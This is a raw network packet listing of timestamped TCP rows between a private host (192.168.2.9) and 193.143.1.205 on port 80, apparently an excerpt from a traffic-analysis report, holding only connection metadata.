Jan 11, 2025 06:30:37.017816067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.017828941 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.017832041 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.017859936 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.018096924 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.018142939 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.018177986 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.018222094 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.018264055 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.018275976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.018295050 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.018335104 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.018347025 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.018357992 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.018372059 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.018392086 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.019155979 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019167900 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019202948 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019215107 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019220114 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.019226074 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019238949 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019246101 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.019251108 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019284964 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.019891977 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019903898 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019916058 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019932032 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.019946098 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019952059 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.019958973 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019970894 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.019982100 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.020004034 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.020028114 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.020824909 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.020838976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.020849943 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.020860910 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.020873070 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.020879984 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.020884037 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.020898104 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.020901918 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.020929098 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.021662951 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.021676064 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.021686077 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.021702051 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.021713972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.021722078 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.021724939 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.021737099 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.021748066 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.021770954 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.021795988 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.022532940 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.022545099 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.022556067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.022578001 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.022579908 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.022589922 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.022600889 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.022608042 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.022614002 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.022634029 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.023370028 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.023380995 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.023392916 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.023406982 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.023423910 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.023437023 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.023447990 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.023459911 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.023472071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.023494005 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.023525000 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.024101973 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.024235964 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.024247885 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.024259090 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.024281979 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.024285078 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.024293900 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.024306059 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.024317026 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.024327040 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.024353027 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.025121927 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.025132895 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.025150061 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.025158882 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.025161982 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.025175095 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.025177956 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.025187016 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.025204897 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.027755976 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.054939032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.054972887 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.054986000 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.055005074 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.055006981 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.055032969 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.055052042 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.055063009 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.055074930 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.055084944 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.055098057 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.055100918 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.055111885 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.055128098 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.081324100 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.081374884 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.081384897 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.081386089 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.081398964 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.081413031 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.081429958 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.081465006 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.108297110 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108321905 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108335972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108421087 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108433962 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108445883 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108473063 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.108517885 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.108532906 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108551979 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108563900 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108575106 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108587027 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108654976 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.108661890 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108674049 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108685970 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.108747005 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135076046 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135104895 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135118008 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135129929 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135143042 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135150909 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135154009 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135174990 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135186911 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135195017 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135200024 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135202885 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135211945 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135222912 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135226011 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135245085 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135283947 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135325909 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135346889 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135413885 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135447979 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135457039 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135468006 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135487080 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135499001 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135502100 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135529041 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135535955 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135543108 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135567904 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135577917 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135642052 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135675907 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135680914 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135694027 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135704041 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135718107 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135725975 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135759115 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135829926 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135920048 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135931969 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135943890 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.135951042 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.135971069 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136065006 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136076927 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136087894 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136099100 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136110067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136125088 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136147022 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136156082 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136158943 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136173010 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136178017 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136207104 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136209965 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136218071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136229992 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136241913 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136265993 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136286020 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136293888 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136297941 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136337996 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136478901 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136491060 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136502981 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136522055 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136621952 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136634111 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136645079 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136652946 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136656046 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136671066 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136674881 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136687040 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136697054 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136708975 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136724949 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136748075 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136800051 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136811972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136821985 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136832952 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136836052 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136845112 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136857033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136863947 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136868954 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136882067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.136897087 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.136914968 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140134096 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140151978 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140163898 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140176058 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140187025 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140194893 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140197039 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140209913 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140224934 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140229940 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140235901 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140249014 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140259981 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140264034 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140276909 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140295029 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140295029 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140309095 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140321016 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140332937 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140337944 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140360117 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140641928 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140654087 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140664101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140675068 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140682936 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140686989 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140697956 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.140700102 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.140723944 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.143008947 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.145272970 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145293951 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145313025 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145324945 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145338058 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.145343065 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145355940 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145364046 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.145390987 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.145428896 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145441055 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145451069 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145497084 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.145564079 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145575047 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145586967 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145596027 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.145597935 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145612955 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145622969 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.145622969 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.145649910 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.189100027 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.198980093 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199012041 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199024916 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199037075 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199048042 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199062109 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199096918 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199104071 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.199107885 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199120045 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199132919 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199145079 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199156046 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199162960 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.199181080 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.199199915 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.199253082 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199266911 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.199302912 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.225589037 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225620985 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225634098 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225646019 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225661039 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225687027 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225701094 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225752115 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225763083 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225769043 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.225774050 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225786924 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225799084 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225805998 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.225811005 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225821018 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.225824118 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225841045 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.225860119 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.225920916 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225933075 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225944042 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225954056 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225970984 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.225994110 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.225996017 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226006985 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226018906 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226032019 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226041079 CET	49752	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:30:37.226042986 CET	80	49752	193.143.1.205	192.168.2.9
Jan 11, 2025 06:30:37.226058006 CET	80	49752	193.143.1.205	192.168.2.9
